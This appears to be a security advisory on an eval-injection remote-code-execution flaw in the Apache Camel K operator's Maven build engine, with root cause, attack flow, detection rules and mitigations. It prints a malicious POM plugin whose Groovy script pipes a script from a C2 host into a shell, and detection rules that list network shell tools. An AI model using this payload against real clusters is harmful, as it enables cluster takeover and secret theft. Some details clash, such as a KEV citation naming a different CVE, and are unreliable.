CVE-2026-80351: Remote Code Execution via Dynamic Maven Configuration Eval Injection in Apache Camel K
HERMES THREAT SCORE & CLOUD-NATIVE OPERATOR RISK
Target:Apache Camel K Operator — Dynamic Maven Build Engine & IntegrationKit Reconciler While CVSS v3.1 rates CVE-2026-80351 at 9.8 (Critical), Hermes evaluates the systemic cloud-native blast radius at 92 (CRITICAL). In Kubernetes multi-tenant architectures and autonomous event-driven pipelines, Apache Camel K serves as the serverless backbone connecting message brokers, databases, and microservices. By exploiting eval injection in dynamic Maven configurations, an untrusted tenant or compromised developer workload escapes container namespace boundaries, executes arbitrary code directly inside the Camel K operator pod, and steals cluster-wide secrets.
HASS AGENTIC SEVERITY & PIPELINE HIJACKING
Target:Autonomous Agent Workflows, Dynamic Tool-Calling Connectors & Event Streams Modern enterprise AI agents (built on frameworks like LangChain, AutoGen, and Camel-AI) dynamically instantiate Camel K integration routes to interact with enterprise databases, Kafka clusters, and SaaS APIs. Weaponizing Maven eval injection allows a rogue or prompt-injected agent to compromise the central integration runtime, access underlying host credentials, and pivot across the entire multi-cloud estate.
CVE-2026-80351: Remote Code Execution via Dynamic Maven Configuration Eval Injection in Apache Camel KVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled “1. Technical Context & Affected Software Matrix”Apache Camel K automates the compilation, packaging, containerization, and deployment of Camel integration routes from source code directly on Kubernetes clusters.
| Parameter | Technical Specification | Operational Significance |
|---|---|---|
| CVE Identifier | CVE-2026-80351 | Apache Camel K Security Advisory (September 2026) |
| Vulnerability Class | Eval Injection (CWE-95 / CWE-94) | Dynamic script evaluation in Maven build lifecycle |
| Vulnerable Component | Camel K Operator — Maven Build Engine (pkg/util/maven) | IntegrationKit reconciler and POM dynamic evaluator |
| Trigger Mechanism | Injected Maven properties, plugin configurations, or dynamic expressions | Ingested via integration source or custom repository POM |
| Privileges Required | None to Low (PR:N / PR:L) | Depends on cluster exposure; public repo or tenant access |
| Privileges Obtained | Kubernetes Cluster Administrator (cluster-admin) | Operator ServiceAccount holds elevated cluster permissions |
| Affected Versions | 2.0.0 <= v < 2.9.3, 2.10.1 < 2.10.2 | Multi-tenant Kubernetes & OpenShift environments |
| Remediated Versions | 2.9.3, 2.10.2, 2.11.0 | Enforces strict validation and sandboxed POM generation |
2. Vulnerability Anatomy & Root Cause Analysis
Section titled “2. Vulnerability Anatomy & Root Cause Analysis”The Maven Dynamic Evaluation Pipeline
Section titled “The Maven Dynamic Evaluation Pipeline”To translate declarative integration routes into runnable containers, the Camel K operator constructs an ephemeral build context. The operator generates a synthetic Maven Project Object Model (pom.xml) containing necessary Camel component dependencies (e.g., camel-quarkus-kafka, camel-quarkus-sql, camel-k-runtime) and invokes Maven in an embedded or pod-based builder.
In versions prior to 2.9.3 and 2.10.2, Camel K allowed integration manifests and upstream repository configuration files to define dynamic Maven properties and plugin executions. During the build resolution phase, Camel K’s internal build engine evaluated configuration properties dynamically using string interpolation and reflection:
// Conceptual snippet illustrating vulnerable dynamic property evaluation in Camel Kfunc evaluateMavenProperties(project *MavenProject, customProps map[string]string) error { for key, val := range customProps { // VULNERABLE: Direct evaluation of dynamic directives without sanitization evaluatedVal, err := evalEngine.EvaluateExpression(val, project.Context) if err != nil { return err } project.Properties[key] = evaluatedVal } return nil}When custom build traits or upstream repository POM files specified expression evaluation plugins (such as gmavenplus-plugin or dynamic POM execution hooks), the evaluation engine failed to restrict the expression context.
Weaponization via Malicious Maven Directives
Section titled “Weaponization via Malicious Maven Directives”An adversary can craft an integration definition whose repository or build trait includes an embedded Maven plugin configuration that invokes arbitrary Java code during the validate or initialize lifecycle phases:
<plugin> <groupId>org.codehaus.gmavenplus</groupId> <artifactId>gmavenplus-plugin</artifactId> <version>3.0.2</version> <executions> <execution> <phase>validate</phase> <goals> <goal>execute</goal> </goals> <configuration> <scripts> <script> def cmd = "curl -s https://c2.internal-audit.cloud/k8s.sh | /bin/sh" cmd.execute() </script> </scripts> </configuration> </execution> </executions></plugin>Because the Maven build process executes within the operator pod or within builder pods mounting the operator’s high-privilege ServiceAccount token, the injected script runs immediately in the cluster context. The attacker retrieves /var/run/secrets/kubernetes.io/serviceaccount/token and issues administrative API requests to list all cluster secrets, deploy privileged pods, or pivot into other tenant namespaces.
3. Attack Vectors & Execution Flow
Section titled “3. Attack Vectors & Execution Flow”The attack demonstrates how a tenant or agent workflow with limited permissions leverages the operator’s build reconciliation to seize the entire Kubernetes cluster.
sequenceDiagram autonumber actor Attacker as Tenant / Agent Runner participant K8s as Kubernetes API Server participant Op as Camel K Operator Pod participant Maven as Maven Build Subsystem participant Secret as Cluster Secrets Store participant C2 as External Attacker C2
Attacker->>K8s: Submit Integration CR with poisoned Maven directives K8s->>Op: Watch event triggers IntegrationKit reconciliation Op->>Maven: Assemble synthetic pom.xml & resolve build dependencies Note over Maven: Dynamic expression evaluation triggers Maven->>Maven: Execute malicious Groovy/Java directive during POM parse Maven->>Op: Escape build context & execute arbitrary shell commands Op->>Secret: Extract operator ServiceAccount token (/var/run/secrets/...) Op->>K8s: API request using operator token (Cluster-wide permissions) Op->>C2: Exfiltrate database credentials & cluster tokens Note over Op: Attacker achieves total Kubernetes cluster takeover4. Forensic Triage & Detection Engineering
Section titled “4. Forensic Triage & Detection Engineering”Detecting exploitation of CVE-2026-80351 requires monitoring execution activity within Camel K operator and builder containers, as well as auditing API calls originating from the operator’s ServiceAccount.
title: Suspicious Process Spawning Inside Camel K Operator Podid: 9a8b7c6d-5e4f-4a3b-2c1d-camelk-eval-rcestatus: experimentaldescription: Detects unexpected interactive shells or network utilities spawned inside Apache Camel K operator or build containers, indicating CVE-2026-80351 exploitation.references: - https://lists.apache.org/thread/8kmxvwj9r83mhp6t465q3jdf8l84zfvqauthor: Hermes Codex Cyber Intelligencedate: 2026-09-15tags: - attack.execution - attack.t1059 - attack.privilege_escalation - attack.t1611logsource: category: process_creation product: linuxdetection: selection_container: container_image|contains: - 'camel-k-operator' - 'camel-k-builder' selection_shell: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' - '/usr/bin/kubectl' condition: selection_container and selection_shellfalsepositives: - Legitimate custom container build hooks explicitly authorized in air-gapped CI/CD pipelines.level: critical- rule: Camel K Operator Pod Unexpected Child Process desc: Detects abnormal process creation inside the Apache Camel K operator pod condition: > container.name startswith "camel-k-operator" and evt.type = execve and not proc.name in (kamel, java, mvn, git, tar, gzip) output: > Unexpected process spawned in Camel K operator pod (user=%user.name command=%proc.cmdline container=%container.id image=%container.image.repository) priority: CRITICAL tags: [k8s, container, rce, cve-2026-80351]// Detect anomalous Secret reads across foreign namespaces by Camel K OperatorKubeAudit| where TimeGenerated > ago(24h)| where User.username startswith "system:serviceaccount:" and User.username contains "camel-k"| where Verb in ("get", "list") and ObjectRef.resource == "secrets"| where ObjectRef.namespace !in ("camel-k", "default")| project TimeGenerated, User.username, ObjectRef.namespace, ObjectRef.name, SourceIps, ResponseStatus.code| order by TimeGenerated desc5. Mitigation & Defense-in-Depth Remediation Steps
Section titled “5. Mitigation & Defense-in-Depth Remediation Steps”-
Upgrade Camel K Operator Immediately: Upgrade Camel K deployments to non-vulnerable release trains:
- Version 2.9.3 or later (for 2.9.x users).
- Version 2.10.2 or later (for 2.10.x users).
- Version 2.11.0 or later.
-
Restrict Integration Build Traits via Kyverno / OPA Gatekeeper: Enforce admission controller policies rejecting
IntegrationandIntegrationKitCRDs that declare custom Maven repositories or define unauthorized build trait properties:apiVersion: kyverno.io/v1kind: ClusterPolicymetadata:name: block-untrusted-camel-k-traitsspec:validationFailureAction: Enforcerules:- name: check-maven-traitsmatch:resources:kinds: ["camel.apache.org/v1/Integration"]validate:pattern:=(spec):=(traits):X(builder):=(properties): "*eval*" -
Scope Camel K ServiceAccount RBAC: Migrate from cluster-wide operator installations (
kamel install --global) to namespace-scoped installations (kamel install -n <namespace>). Ensure the operator’s ServiceAccount cannot read secrets or manage roles outside its designated namespace. -
Network Policies for Builder Pods: Apply strict Kubernetes
NetworkPolicyobjects preventing builder pods from making outbound internet requests to untrusted Maven registries or arbitrary external IP addresses.